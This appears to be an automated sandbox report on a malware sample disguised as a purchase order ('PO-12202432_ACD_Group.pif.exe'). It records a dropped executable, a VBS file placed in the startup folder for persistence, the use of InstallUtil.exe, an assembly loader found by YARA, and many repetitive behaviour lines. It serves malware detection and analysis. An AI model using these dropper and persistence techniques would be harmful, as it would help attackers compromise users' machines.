Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: PO-12202432_ACD_Group.pif.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO-12202432_ACD_Group.pif.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.000000000476A000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.00000000045F3000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2170019027.00000000067E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.000000000476A000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2157610900.00000000045F3000.00000004.00000800.00020000.00000000.sdmp, PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2170019027.00000000067E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PO-12202432_ACD_Group.pif.exe, 00000000.00000002.2169631099.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Repos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: IsNestedFamANDAssem.exe, 00000005.00000002.2380281455.0000000004C98000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Repos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: IsNestedFamANDAssem.exe, 00000005.00000002.2380281455.0000000004C98000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 5.2.IsNestedFamANDAssem.exe.4803b08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-12202432_ACD_Group.pif.exe.66b0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PO-12202432_ACD_Group.pif.exe.3e609a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2380281455.0000000004803000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2165084237.00000000066B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2157610900.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO-12202432_ACD_Group.pif.exe PID: 3668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IsNestedFamANDAssem.exe PID: 2300, type: MEMORYSTR

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_010626C0 push esp; ret	0_2_010626C9
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_05AF0A07 push es; retf	0_2_05AF0A08
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065AABEE push eax; iretd	0_2_065AAC45
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065AABE1 push es; retf	0_2_065AABEC
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_065A0905 push esp; ret	0_2_065A090D
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066092E0 push eax; iretd	0_2_066095B1
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06603290 push es; ret	0_2_06603340
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06606B50 push 1C065EB3h; iretd	0_2_06606BA5
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_06608B10 push esp; retf	0_2_06608D59
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066AB636 pushfd ; retn 0000h	0_2_066AB63B
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066AAB65 push edi; iretd	0_2_066AAB66
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A2C9D push 00000006h; iretd	0_2_066A2CC0
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A2C96 push 00000006h; retf	0_2_066A2C98
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A2D01 push 00000006h; ret	0_2_066A2D1C
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_066A2D81 push 00000006h; iretd	0_2_066A2D94
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C5EEB push es; iretd	0_2_067C5EEC
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C2ABB pushad ; retf	0_2_067C2AC1
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067C61A6 push ds; iretd	0_2_067C61A7
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Code function: 0_2_067DCF7B push es; iretd	0_2_067DCF7C
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_016626C0 push esp; ret	5_2_016626C9
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06090A00 push es; retf	5_2_06090A08
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C70905 push esp; ret	5_2_06C7090D
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06C91913 push eax; ret	5_2_06C9191D
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD95AB push eax; iretd	5_2_06CD95B1
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD1281 push esp; retf	5_2_06CD1282
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD1277 push esp; retf	5_2_06CD127A
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD1233 push esp; retf	5_2_06CD123A
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD333B push es; ret	5_2_06CD3340
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD8C10 push esp; retf	5_2_06CD8D59
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD0DE1 push ebx; retf	5_2_06CD0DE2
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Code function: 5_2_06CD6B9B push 1C06CBB3h; iretd	5_2_06CD6BA5

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File created: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs

Jump to behavior

Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
